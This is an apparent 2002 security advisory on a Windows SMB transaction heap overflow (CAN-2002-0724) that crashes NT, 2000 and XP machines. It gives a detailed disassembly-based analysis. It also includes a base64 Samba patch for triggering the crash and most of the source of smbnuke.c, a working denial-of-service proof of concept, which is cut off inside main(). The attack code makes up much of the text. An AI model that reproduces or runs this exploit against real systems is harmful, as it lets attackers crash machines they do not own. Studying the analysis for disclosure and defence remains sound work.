23th Aug 2002 [SBWID-5658]
COMMAND
Windows SMB implementation local and remote overflow
SYSTEMS AFFECTED
Windows NT 4.0 Workstation/Server
Windows 2000 Professional/Advanced Server
Windows XP Professional
With all service packs and security hotfixes applied
PROBLEM
Ivan Arce [[email protected]] CTO of CORE SECURITY TECHNOLOGIES
[http://www.corest.com] posted the following, credits to Alberto Solino
and Hernan Ochoa who researched and discovered the bug :
http://www.corest.com/common/showdoc.php?idx=262&idxseccion=10
SMB stands for "Server Message Block" and is also known as CIFS (Common
Internet File System). This protocol is intended to provide an open
cross-platform mechanism for client systems to request file services
from server system over a network. Current CIFS implementation under
Windows runs over port tcp/139 and/or port tcp/445 (Direct Host),
depending whether NetBIOS over TCP/IP is enabled or not.
The SMB_COM_TRANSACTION command allows the client and the server to
define functions specific to a particular resource on a particular
server. The functions supported are not defined by the protocol itself
but by client and server implementations.
By sending a specially crafted packet requesting the NetServerEnum2,
NetServerEnum3 or NetShareEnum transaction, an attacker can mount a
denial ofservice attack on the target machine. It might be possible to
abuse this vulnerability to execute arbitrary code, although the
research performed so far can not confirm this possibility (see
'Technical Description' below for more precise information).
In order to exploit this vulnerability a user account is needed for the
NetShareEnum transaction and only anonymous access is necessary for
NetServerEnum2 and NetServerEnum3.
Windows operating system ship with anonymous access enabled by default
and are therefore vulnerable to a denial of service attack.
The effect of an attack will trigger a operating system halt (Blue
Screen) as shown below (memory addresses may vary):
*** STOP: 0x0000001E (0xC0000005, 0x804B818B, 0x00000001, 0x00760065)
KMODE_EXCEPTION_NOT_HANDLED
*** Address 804B818B base at 80400000, DateStamp 384d9b17 0 ntoskrnl.exe
The physical memory is dumped and the system restarted (unless
configured otherwise).
*Technical Description - Exploit/Concept Code*
==============================================
The following analysis was performed on a Windows 2000 Advanced Server
(Service Pack 2).
The attack consists of sending (after establishing a SMB session) a
specially crafted SMB_COM_TRANSACTION packet requesting the
NetServerEnum2, NetServerEnum3 or NetShareEnum functions of the
Microsoft Windows Lanman Remote API Protocol.
The format of this packet consist of a SMB Header plus the Transaction
request. The transaction request has the following format:
Transaction Request Format
==========================
+0 Word Count (BYTE)
+1 Total Parameter Count (WORD)
+3 Total Data Count (WORD)
+5 Max Param Count (WORD)
+7 Max Data Count (WORD)
+9 Max Setup Count (BYTE)
+10 (0Ah) Reserved (BYTE)
+11 (0Bh) Flags (WORD)
+13 (0Dh) Timeout (DWORD)
+17 (11h) Reserved (WORD)
+19 (13h) Parameter Count (WORD)
+21 (15h) Parameter Offset (WORD)
+23 (17h) Data Count (WORD)
+25 (19h) Data Offset (WORD)
+27 (1Bh) Setup Count (BYTE)
+28 (1Ch) Reserved (BYTE)
+29 (1Dh) Byte Count (WORD)
+31 (1Fh) Transaction Name 'PIPELANMANx00' (13 BYTES)
+44 (2Ch) Parameters
Parameters
==========
+0 Function Code (WORD)
+2 Parameter Descriptor (6 BYTES)
+8 Return Descriptor (7 BYTES)
+15 (0Fh) Detail Level (WORD)
+17 (11h) Receive Buffer Length (WORD)
The 'Function Code' found in 'Parameters' specifies the function
requested. In this case it must be 68h (NetServerEnum2), D7h
(NetServerEnum3) or 00h (NetShareEnum).
The problem arises when the fields 'Max Param Count' and/or 'Max Data
Count' are set to zero (0).
Once the request packet is received by the Windows server, it is
handled by the SRV.SYS driver in kernel mode. At SRV.SYS+08F4h it is
determined that the packet is a SMB_COM_TRANSACTION and a function we
arbitrary named 'doSMB_COM_TRANSACTION' (SRV.SYS+D42A) is called where
the Transaction Request portion of the packet is parsed.
Here the 'Max Data Count' and 'Max Param Count' (and all other fields)
are extracted from the packet received, some calculations and sanity
checks are performed to determine the location of the 'Parameters' in
the transaction request packet and the amount of memory needed to store
them. A function is then called at SRV.SYS+DAB0 to allocate a structure
in the heap (BUFFER1 from now on) that will contain data obtained from
the transaction packet and the 'Parameters':
[..]
0000DADB movzx eax, si
0000DADE mov [ebp+var_4], eax
0000DAE1 add eax, 3
0000DAE4 mov ecx, eax
0000DAE6 mov [ebp+var], eax
0000DAE9 mov eax, [ebp+argC_MaxDataCountAdded]
0000DAEC and ecx, 0FFFFFFFCh ; align
0000DAEF cmp eax, 10400h ; the max of the data with
; everything added is 66560
0000DAF4 lea edi, [ecx+eax+98h] ; Calculate the space
; needed for the
structure
; + the 'Parameters'
0000DAFB mov [ebp+argC_MaxDataCountAdded], edi
0000DAFE ja short loc_1DB22
0000DB00 cmp [ebp+arg_1C], 0
0000DB04 jnz locAllocateHeap
[..]
[..]
0001B806 locAllocateHeap:
0001B806 lea eax, [ebp+1Ch]
0001B809 push eax ; ptr to buffer that will
contain
; error code
0001B80A push edi ; Bytes to allocate
(calculated
; above at SRV.SYS+DAF4)
0001B80B call myAllocateHeap
0001B810 jmp loc_1DB20
[..]
Later in the processing of the request, at SRV.SYS+33209h another
buffer will be allocated in the heap. This buffer (BUFFER2) will be
next to the one allocated at SRV.SYS+1B806h (BUFFER1).
The problem is that due to the lack of proper checks and
miscalculation, when the 'Max Data Count' and/or 'Max Param Count' are
zero, the length of the first buffer allocated on the heap (BUFFER1)
will be insufficient and the first 8 bytes of the next chunk on the
heap (used by the ntoskrnl!RtlFreeHeap() algorithm) will be
overwritten.
When the first buffer allocated is freed by calling
ntoskrnl!RtlFreeHeap() the heap will be in an inconsistent state (due
to the corruption of the chunk's 'control' data, used by the
ntoskrnl!RtlFreeHeap() algorithm) and RtlFreeHeap() will try to access
an invalid memory address resulting in the system crash (Blue Screen).
The actual corruption of the heap occurs as result of a LPC message
sent by SRV.SYS to the Lanman Server Service (implemented in
srvsvc.dll, running in user mode).
At SRV.SYS+33358, an LPC message to the Port 'XactSrvLpcPort' is sent
(This port is created by srvsvc.dll):
[..]
00033336 push [ebp+arg_0]
00033339 call myImpersonateSecurityContext
0003333E xor esi, esi
00033340 mov [ebp+errorCode], eax
00033343 cmp eax, esi
00033345 jl short loc_43366
00033347 lea eax, [ebp+varReplyMessage]
0003334D push eax ; OUT PPORT_MESSAGE
ReplyMessage
0003334E lea eax, [ebp+varRequestMessage]
00033351 push eax ; IN PPORT_MESSAGE
RequestMessage
00033352 push myPortHandle ; IN HANDLE PortHandle
00033358 call ds:NtRequestWaitReplyPort
0003335E mov [ebp+errorCode], eax
[..]
This message is handled by srvsvc.dll where function to be called is
obtained from a message table, described below as 'PortFuncMsgTable':
[..]
767E88A3
767E88A3 mov [ebp+var_CC], 10h
767E88AC mov [ebp+var_CA], 28h
767E88B5 mov [ebp+var_C8], esi
767E88BB mov eax, [ebp+var_88]
767E88C1 mov [ebp+var_C4], eax
767E88C7 mov eax, [ebp+var_84]
767E88CD mov [ebp+var_C0], eax
767E88D3 mov eax, [ebp+var_80]
767E88D6 mov [ebp+var_BC], eax
767E88DC mov eax, [ebp+var_78]
767E88DF cmp eax, 0Ah
767E88E2 ja Func3
767E88E8 jmp ds:PortFuncMsgTable[eax*4]
[..]
This ends up calling the function at SRVSVC.DLL:767EE136, that receives
the buffer allocated (BUFFER1) in kernel mode by the SRV.SYS driver.
The function then checks again the Parameters of the transaction
request, by calling different functions in xactsrv.dll:
[..]
767EE1B1 push eax
767EE1B2 push ebx
767EE1B3 call pfXsCheckSmbDescriptor ;
XsCheckSMBDescriptor is located in
; xactsrv.dll (7568d46f)
767EE1B9 test eax, eax
767EE1BB jnz loc_767EE2A1
[..]
XsCheckSMBDescriptor performs some checks and processing of the
Parameters and Return Descriptor of the SMB Transaction request. Then
the function 'XsCaptureParemters' is called to perform further
processing:
[..]
767EE2A1 lea eax, [ebp-0D0h]
767EE2A7 push eax
767EE2A8 push dword ptr [ebp-20h] ; ptr to 'BUFFER1'
structure
767EE2AB call pfXsCaptureParameters
767EE2B1 mov [ebp-1Ch], eax
[..]
At xactsrv!7568D2D5 the 5th byte after the end of BUFFER1 is
overwritten with a 0:
[..]
7568D2D5 movzx ecx, ax
7568D2D8 mov [esi], ax
7568D2DB mov edi, [edx+48h]
7568D2DE mov edx, ecx
7568D2E0 xor eax, eax
7568D2E2 shr ecx, 2
7568D2E5 repe stosd
7568D2E7 mov ecx, edx
7568D2E9 and ecx, 3
7568D2EC repe stosb ; here the 5th byte is overwritten
7568D2EE jmp short loc_7568D33D
[..]
After returning from this call, based on the Function Code of the
transaction, the requested function is called in xactsrv.dll
(XsNetServerEnum2, XsNetServerEnum3, or XsNetShareEnum in this case)
[..]
767EE22F mov dword ptr [ebp-4], 2
767EE236 push dword ptr [ebp-0D0h]
767EE23C push dword ptr [ebp-0DCh]
767EE242 push ebx
767EE243 push dword ptr [ebp-1Ch]
767EE246 call dword ptr table_767F2E38[edi] ; 'function'
table
[..]
Inside the called function (XsNetServerEnum2 or XsNetServerEnum3)
another function, browser.dll!I_BrowserServerEnumForXactSrv, will be
called. The value returned from this function will later be used to
overwrite the heap. The observed return values that are used to
overwrite the heap were 17E6h and 7Ch. It is not evident that this
values can be controlled by the attacker in a reliable way.
[..]
75688823 add eax, 64h
75688826 push eax
75688827 push [ebp+var_38]
7568882A push ebx
7568882B call I_BrowserServerEnumForXactsrv
75688830 mov [edi], ax ; ax contains returned value
; this value will be the one
; used to overwrite the heap
75688833 test ax, ax
75688836 jz short loc_75688844
[..]
Finally after some more processing the function will return to
srvsvc.dll!767ee24c after executing the function requested
(XsNetServerEnum2, XsNetServerEnum3 or XsNetShareEnum)
Some other processing with the returned number will be done and the
XsSetParameter function will be called. This call will effectively
overwrite the first two bytes after the BUFFER1 structure with the
value returned from the call to
browser.dll!I_BrowserServerEnumForXactSrv, and then the 3rd and 4th
byte will be overwritten with 0.
[..]
767EE28C push dword ptr [ebp-0A0h]
767EE292 push edi
767EE293 push dword ptr [ebp-20h]
767EE296 call pfXsSetParameters ; Call to
XsSetParameters
[..]
[..]
XsSetParameters:
7568DB0D
7568DB0D push ebp
7568DB0E mov ebp, esp
7568DB10 push ecx
7568DB11 mov ecx, [ebp+0Ch]
7568DB14 mov eax, [ebp+10h]
7568DB17 push ebx
7568DB18 push esi
7568DB19 mov esi, [ebp+08h]
7568DB1C mov dx, [ecx]
7568DB1F push edi
7568DB20 push 2
7568DB22 mov ebx, [esi+40h] ; ptr to past the end of
BUFFER1
7568DB25 mov [ebp+10h], eax
7568DB28 mov eax, [esi+3Ch]
7568DB2B pop edi
7568DB2C mov [ebx], dx ; overwrite the first two bytes
7568DB2F mov dx, [ecx+2]
7568DB33 add ebx, edi
7568DB35 add eax, edi
7568DB37 mov [ebx], dx ; overwrite the 3th and 4th byte
[..]
Exploitation of this vulnerability in order to run arbitrary code on
the vulnerable system is not straight forward and our research so far
could not identify a reliable attack scenario other than to perform a
denial of service.
The complexity of exploiting this vulnerability to gain unauthorized
access to a system or plainly run arbitrary code on it resides on the
fact that the attacker can not completly control the bytes used to
overwrite the chunk's 'control' data nor the bytes contained in BUFFER2
(of which the 'control' data is overwritten).
We do not discard that further research will demonstrate that arbitrary
code execution is possible.
When the attack is performed using the NetShareEnum function, the
corruption of the heap also occurs in the call to XsSetParameters, but
I_I_BrowserServerEnumForXactsrv is not called, and possible values to
overwrite the chunk 'control' data are more promising in terms of
exploiting the problem, but the lack of complete control of the data of
BUFFER2 again makes it difficult.
Update (29 August 2002)
======
huagang says :
Here is a patch to samba-2.2.5, after patch and compile, you can use
smbclient to test the windows machine.
$ smbclient -L IP_ADDR
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="smb.dos.diff"
Content-Transfer-Encoding: BASE64
LS0tIHNvdXJjZS9saWJzbWIvY2xpcmFwLmMub2xkCVR1ZSBBdWcgMjcgMjE6
MzU6NTggMjAwMg0KKysrIHNvdXJjZS9saWJzbWIvY2xpcmFwLmMJVHVlIEF1
ZyAyNyAyMTozMToyOCAyMDAyDQpAQCAtMjM3LDggKzIzNywxMCBAQA0KIAkJ
U1RSX1RFUk1JTkFURSB8IFNUUl9DT05WRVJUIHwgU1RSX0FTQ0lJKTsNCiAN
CiAJaWYgKGNsaV9hcGkoY2xpLCANCi0gICAgICAgICAgICAgICAgICAgIHBh
cmFtLCBQVFJfRElGRihwLHBhcmFtKSwgOCwgICAgICAgIC8qIHBhcmFtcywg
bGVuZ3RoLCBtYXggKi8NCi0gICAgICAgICAgICAgICAgICAgIE5VTEwsIDAs
IENMSV9CVUZGRVJfU0laRSwgICAgICAgICAgICAgICAvKiBkYXRhLCBsZW5n
dGgsIG1heCAqLw0KKyAgICAgICAgICAgICAgICAgICAgcGFyYW0sIFBUUl9E
SUZGKHAscGFyYW0pLCAwLCAgICAgICAgLyogcGFyYW1zLCBsZW5ndGgsIG1h
eCAqLw0KKyAgICAgICAgICAgICAgICAgICAgTlVMTCwgMCwgMCwgICAgICAg
ICAgICAgICAvKiBkYXRhLCBsZW5ndGgsIG1heCAqLw0KKyAgICAgICAgICAg
Ly8gICAgICAgICBwYXJhbSwgUFRSX0RJRkYocCxwYXJhbSksIDgsICAgICAg
ICAvKiBwYXJhbXMsIGxlbmd0aCwgbWF4ICovDQorICAgICAgICAgICAvLyAg
ICAgICAgIE5VTEwsIDAsIENMSV9CVUZGRVJfU0laRSwgICAgICAgICAgICAg
ICAvKiBkYXRhLCBsZW5ndGgsIG1heCAqLw0KICAgICAgICAgICAgICAgICAg
ICAgJnJwYXJhbSwgJnJwcmNudCwgICAgICAgICAgICAgICAgICAgLyogcmV0
dXJuIHBhcmFtcywgcmV0dXJuIHNpemUgKi8NCiAgICAgICAgICAgICAgICAg
ICAgICZyZGF0YSwgJnJkcmNudCAgICAgICAgICAgICAgICAgICAgIC8qIHJl
dHVybiBkYXRhLCByZXR1cm4gc2l6ZSAqLw0KICAgICAgICAgICAgICAgICAg
ICApKSB7DQo=
-Also-
/*
* smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept
* Copyright (C) 2002 Frederic Deletang ([email protected])
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2 of
* the License or (at your option) any later version.
*
* This program is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
/* NOTE:
* Compile this program using only GCC and no other compilers
* (except if you think this one supports the __attribute__ (( packed ))
attribute)
* This program might not work on big-endian systems.
* It has been successfully tested from the following plateforms:
* - Linux 2.4.18 / i686
* - FreeBSD 4.6.1-RELEASE-p10 / i386
* Don't bother me if you can't get it to compile or work on Solaris using
the SunWS compiler.
*
* Another thing: The word counts are hardcoded, careful if you hack the
sources.
*/
/* Copyright notice:
* some parts of this source (only two functions, name_len and name_mangle)
* has been taken from libsmb. The rest, especially the structures has
* been written by me.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
#include <assert.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/time.h>
#define SESSION_REQUEST 0x81
#define SESSION_MESSAGE 0x00
#define SMB_NEGOTIATE_PROTOCOL 0x72
#define SMB_SESSION_SETUP_ANDX 0x73
#define SMB_TREE_CONNECT_ANDX 0x75
#define SMB_COM_TRANSACTION 0x25
#define bswap16(x) \
((((x) >> 8) & 0xff) | (((x) & 0xff) << 8))
typedef struct
{
unsigned char server_component[4];
unsigned char command;
unsigned char error_class;
unsigned char reserved1;
uint16_t error_code;
uint8_t flags;
uint16_t flags2;
unsigned char reserved2[12];
uint16_t tree_id;
uint16_t proc_id;
uint16_t user_id;
uint16_t mpex_id;
}
__attribute__ ((packed)) smb_header;
typedef struct
{
unsigned char type;
unsigned char flags;
unsigned short length;
unsigned char called[34];
unsigned char calling[34];
}
__attribute__ ((packed)) nbt_packet;
typedef struct
{
/* wct: word count */
uint8_t wct;
unsigned char andx_command;
unsigned char reserved1;
uint16_t andx_offset;
uint16_t max_buffer;
uint16_t max_mpx_count;
uint16_t vc_number;
uint32_t session_key;
uint16_t ANSI_pwlen;
uint16_t UNI_pwlen;
unsigned char reserved2[4];
uint32_t capabilities;
/* bcc: byte count */
uint16_t bcc;
}
__attribute__ ((packed)) session_setup_andx_request;
typedef struct
{
/* wct: word count */
uint8_t wct;
unsigned char andx_command;
unsigned char reserved1;
uint16_t andx_offset;
uint16_t flags;
uint16_t pwlen;
uint16_t bcc;
}
__attribute__ ((packed)) tree_connect_andx_request;
typedef struct
{
/* wct: word count */
uint8_t wct;
uint16_t total_param_cnt;
uint16_t total_data_cnt;
uint16_t max_param_cnt;
uint16_t max_data_cnt;
uint8_t max_setup_cnt;
unsigned char reserved1;
uint16_t flags;
uint32_t timeout;
uint16_t reserved2;
uint16_t param_cnt;
uint16_t param_offset;
uint16_t data_cnt;
uint16_t data_offset;
uint8_t setup_count;
uint8_t reserved3;
/* bcc: byte count */
uint16_t bcc;
}
__attribute__ ((packed)) transaction_request;
typedef struct
{
uint16_t function_code;
unsigned char param_descriptor[6];
unsigned char return_descriptor[7];
uint16_t detail_level;
uint16_t recv_buffer_len;
}
__attribute__ ((packed)) parameters;
typedef struct
{
uint8_t format;
unsigned char *name;
}
t_dialects;
t_dialects dialects[] = {
{2, "PC NETWORK PROGRAM 1.0"},
{2, "MICROSOFT NETWORKS 1.03"},
{2, "MICROSOFT NETWORKS 3.0"},
{2, "LANMAN1.0"},
{2, "LM1.2X002"},
{2, "Samba"},
{2, "NT LM 0.12"},
{2, "NT LANMAN 1.0"},
{0, NULL}
};
enum
{
STATE_REQUESTING_SESSION_SETUP = 1,
STATE_NEGOTIATING_PROTOCOL,
STATE_REQUESTING_SESSION_SETUP_ANDX,
STATE_REQUESTING_TREE_CONNECT_ANDX,
STATE_REQUESTING_TRANSACTION
}
status;
const unsigned char *global_scope = NULL;
/****************************************************************************
* return the total storage length of a mangled name - from smbclient
*
****************************************************************************/
int
name_len (char *s1)
{
/* NOTE: this argument _must_ be unsigned */
unsigned char *s = (unsigned char *) s1;
int len;
/* If the two high bits of the byte are set, return 2. */
if (0xC0 == (*s & 0xC0))
return (2);
/* Add up the length bytes. */
for (len = 1; (*s); s += (*s) + 1)
{
len += *s + 1;
assert (len < 80);
}
return (len);
} /* name_len */
/****************************************************************************
* mangle a name into netbios format - from
smbclient
* Note: <Out> must be (33 + strlen(scope)
+ 2) bytes long, at minimum.
*
****************************************************************************/
int
name_mangle (char *In, char *Out, char name_type)
{
int i;
int c;
int len;
char buf[20];
char *p = Out;
/* Safely copy the input string, In, into buf[]. */
(void) memset (buf, 0, 20);
if (strcmp (In, "*") == 0)
buf[0] = '*';
else
(void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type);
/* Place the length of the first field into the output buffer. */
p[0] = 32;
p++;
/* Now convert the name to the rfc1001/1002 format. */
for (i = 0; i < 16; i++)
{
c = toupper (buf[i]);
p[i * 2] = ((c >> 4) & 0x000F) + 'A';
p[(i * 2) + 1] = (c & 0x000F) + 'A';
}
p += 32;
p[0] = '\0';
/* Add the scope string. */
for (i = 0, len = 0; NULL != global_scope; i++, len++)
{
switch (global_scope[i])
{
case '\0':
p[0] = len;
if (len > 0)
p[len + 1] = 0;
return (name_len (Out));
case '.':
p[0] = len;
p += (len + 1);
len = -1;
break;
default:
p[len + 1] = global_scope[i];
break;
}
}
return (name_len (Out));
}
int
tcp_connect (const char *rhost, unsigned short port)
{
struct sockaddr_in dest;
struct hostent *host;
int fd;
host = gethostbyname (rhost);
if (host == NULL)
{
fprintf (stderr, "Could not resolve host: %s\n", rhost);
return -1;
}
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = *(long *) (host->h_addr);
dest.sin_port = htons (port);
fd = socket (AF_INET, SOCK_STREAM, 0);
if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0)
{
fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port,
strerror (errno));
return -1;
}
return fd;
}
void
build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags,
uint16_t flags2, uint16_t tree_id, uint16_t proc_id,
uint16_t user_id, uint16_t mpex_id)
{
memset (hdr, 0, sizeof (smb_header));
/* SMB Header MAGIC. */
hdr->server_component[0] = 0xff;
hdr->server_component[1] = 'S';
hdr->server_component[2] = 'M';
hdr->server_component[3] = 'B';
hdr->command = command;
hdr->flags = flags;
hdr->flags2 = flags2;
hdr->tree_id = tree_id;
hdr->proc_id = proc_id;
hdr->user_id = user_id;
hdr->mpex_id = mpex_id;
}
unsigned char *
push_string (unsigned char *stack, unsigned char *string)
{
strcpy (stack, string);
return stack + strlen (stack) + 1;
}
void
request_session_setup (int fd, char *netbios_name)
{
nbt_packet pkt;
pkt.type = SESSION_REQUEST;
pkt.flags = 0x00;
pkt.length = bswap16 (sizeof (nbt_packet));
name_mangle (netbios_name, pkt.called, 0x20);
name_mangle ("", pkt.calling, 0x00);
write (fd, &pkt, sizeof (nbt_packet));
}
void
negotiate_protocol (unsigned char *buffer, int fd)
{
smb_header hdr;
unsigned char *p;
uint16_t proc_id, mpex_id;
int i;
proc_id = (uint16_t) rand ();
mpex_id = (uint16_t) rand ();
buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;
build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0,
mpex_id);
memcpy (buffer + 4, &hdr, sizeof (smb_header));
p = buffer + 4 + sizeof (smb_header) + 3;
for (i = 0; dialects[i].name != NULL; i++)
{
*p = dialects[i].format;
strcpy (p + 1, dialects[i].name);
p += strlen (dialects[i].name) + 2;
}
/* Set the word count */
*(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0;
/* Set the byte count */
*(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) =
(uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3);
*(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4));
write (fd, buffer, p - buffer);
}
void
request_session_setup_andx (unsigned char *buffer, int fd)
{
smb_header hdr;
session_setup_andx_request ssar;
uint16_t proc_id, mpex_id;
unsigned char *p;
proc_id = (uint16_t) rand ();
mpex_id = (uint16_t) rand ();
build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0,
proc_id, 0,
mpex_id);
buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;
memcpy (buffer + 4, &hdr, sizeof (smb_header));
p = buffer + 4 + sizeof (smb_header);
memset (&ssar, 0, sizeof (session_setup_andx_request));
ssar.wct = 13;
ssar.andx_command = 0xff; /* No further commands */
ssar.max_buffer = 65535;
ssar.max_mpx_count = 2;
ssar.vc_number = 1025;
ssar.ANSI_pwlen = 1;
p = buffer + 4 + sizeof (smb_header) + sizeof
(session_setup_andx_request);
/* Ansi password */
p = push_string (p, "");
/* Account */
p = push_string (p, "");
/* Primary domain */
p = push_string (p, "WORKGROUP");
/* Native OS */
p = push_string (p, "Unix");
/* Native Lan Manager */
p = push_string (p, "Samba");
ssar.bcc =
p - buffer - 4 - sizeof (smb_header) -
sizeof (session_setup_andx_request);
memcpy (buffer + 4 + sizeof (smb_header), &ssar,
sizeof (session_setup_andx_request));
/* Another byte count */
*(uint16_t *) (buffer + 2) =
bswap16 ((uint16_t)
(sizeof (session_setup_andx_request) + sizeof (smb_header) +
ssar.bcc));
write (fd, buffer,
sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 +
ssar.bcc);
}
void
request_tree_connect_andx (unsigned char *buffer, int fd,
const char *netbios_name)
{
smb_header hdr;
tree_connect_andx_request tcar;
uint16_t proc_id, user_id;
unsigned char *p, *q;
proc_id = (uint16_t) rand ();
user_id = ((smb_header *) (buffer + 4))->user_id;
build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id,
user_id, 0);
buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;
memcpy (buffer + 4, &hdr, sizeof (smb_header));
memset (&tcar, 0, sizeof (tree_connect_andx_request));
tcar.wct = 4;
tcar.andx_command = 0xff; /* No further commands */
tcar.pwlen = 1;
p = buffer + 4 + sizeof (smb_header) + sizeof
(tree_connect_andx_request);
/* Password */
p = push_string (p, "");
/* Path */
q = malloc (8 + strlen (netbios_name));
sprintf (q, "\\\\%s\\IPC$", netbios_name);
p = push_string (p, q);
free (q);
/* Service */
p = push_string (p, "IPC");
tcar.bcc =
p - buffer - 4 - sizeof (smb_header) - sizeof
(tree_connect_andx_request);
memcpy (buffer + 4 + sizeof (smb_header), &tcar,
sizeof (tree_connect_andx_request));
/* Another byte count */
*(uint16_t *) (buffer + 2) =
bswap16 ((uint16_t)
(sizeof (tree_connect_andx_request) + sizeof (smb_header) +
tcar.bcc));
write (fd, buffer,
sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 +
tcar.bcc);
}
void
request_transaction (unsigned char *buffer, int fd)
{
smb_header hdr;
transaction_request transaction;
parameters params;
uint16_t proc_id, tree_id, user_id;
unsigned char *p;
proc_id = (uint16_t) rand ();
tree_id = ((smb_header *) (buffer + 4))->tree_id;
user_id = ((smb_header *) (buffer + 4))->user_id;
build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id,
user_id, 0);
buffer[0] = SESSION_MESSAGE;
buffer[1] = 0x0;
memcpy (buffer + 4, &hdr, sizeof (smb_header));
memset (&transaction, 0, sizeof (transaction_request));
transaction.wct = 14;
transaction.total_param_cnt = 19; /* Total lenght of parameters */
transaction.param_cnt = 19; /* Lenght of parameter */
p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request);
/* Transaction name */
p = push_string (p, "\\PIPE\\LANMAN");
transaction.param_offset = p - buffer - 4;
params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */
strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */
strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */
params.detail_level = 1;
params.recv_buffer_len = 50000;
memcpy (p, ¶ms, sizeof (parameters));
p += transaction.param_cnt;
transaction.data_offset = p - buffer - 4;
transaction.bcc =
p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request);
memcpy (buffer + 4 + sizeof (smb_header), &transaction,
sizeof (transaction_request));
/* Another byte count */
*(uint16_t *) (buffer + 2) =
bswap16 ((uint16_t)
(sizeof (transaction_request) + sizeof (smb_header) +
transaction.bcc));
write (fd, buffer,
sizeof (transaction_request) + sizeof (smb_header) + 4 +
transaction.bcc);
}
typedef struct
{
uint16_t transaction_id;
uint16_t flags;
uint16_t questions;
uint16_t answerRRs;
uint16_t authorityRRs;
uint16_t additionalRRs;
unsigned char query[32];
uint16_t name;
uint16_t type;
uint16_t class;
}
__attribute__ ((packed)) nbt_name_query;
typedef struct
{
nbt_name_query answer;
uint32_t ttl;
uint16_t datalen;
uint8_t names;
}
__attribute__ ((packed)) nbt_name_query_answer;
char *
list_netbios_names (unsigned char *buffer, size_t size, const char *rhost,
unsigned short port, unsigned int timeout)
{
nbt_name_query query;
struct sockaddr_in dest;
struct hostent *host;
int fd, i;
fd_set rfds;
struct timeval tv;
printf ("Trying to list netbios names on %s\n", rhost);
host = gethostbyname (rhost);
if (host == NULL)
{
fprintf (stderr, "Could not resolve host: %s\n", rhost);
return NULL;
}
memset (&dest, 0, sizeof (struct sockaddr_in));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = *(long *) (host->h_addr);
dest.sin_port = htons (port);
if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0)
{
fprintf (stderr, "Could not setup the UDP socket: %s\n",
strerror (errno));
return NULL;
}
memset (&query, 0, sizeof (nbt_name_query));
query.transaction_id = (uint16_t) bswap16 (0x1e); //rand();
query.flags = bswap16 (0x0010);
query.questions = bswap16 (1);
name_mangle ("*", query.query, 0);
query.type = bswap16 (0x21);
query.class = bswap16 (0x01);
if (sendto
(fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest,
sizeof (struct sockaddr_in)) != sizeof (nbt_name_query))
{
fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno));
return NULL;
}
/* Now, wait for an answer -- add a timeout to 10 seconds */
FD_ZERO (&rfds);
FD_SET (fd, &rfds);
tv.tv_sec = timeout;
tv.tv_usec = 0;
if (!select (fd + 1, &rfds, NULL, NULL, &tv))
{
fprintf (stderr,
"The udp read has reached the timeout - try setting the netbios name
manually - exiting...\n");
return NULL;
}
recvfrom (fd, buffer, size, 0, NULL, NULL);
for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++)
if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i +
15) ==
0x20)
return buffer + sizeof (nbt_name_query_answer) + 18 * i;
printf ("No netbios name available for use - you probably won't be
able to crash this host\n");
printf ("However, you can try setting one manually\n");
return NULL;
}
char *
extract_name (const char *name)
{
int i;
char *p = malloc(14);
for (i = 0; i < 14; i++)
if (name[i] == ' ')
break;
else
p[i] = name[i];
p[i] = '\0';
return p;
}
void
print_banner (void)
{
printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE
CAN-2002-0724\n");
printf ("Copyright 2002 - Frederic Deletang ([email protected]) -
28/08/2002\n\n");
}
int
is_smb_header (const unsigned char *buffer, int len)
{
if (len < sizeof (smb_header))
return 0;
if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M'
&& buffer[3] == 'B')
return 1;
else
return 0;
}
int
main (int argc, char **argv)
{
int fd, r, i, c;
unsigned char buffer[1024 * 4]; /* Enough. */
char *hostname = NULL, *name = NULL;
unsigned int showhelp = 0;
unsigned int packets = 10;
unsigned int state;
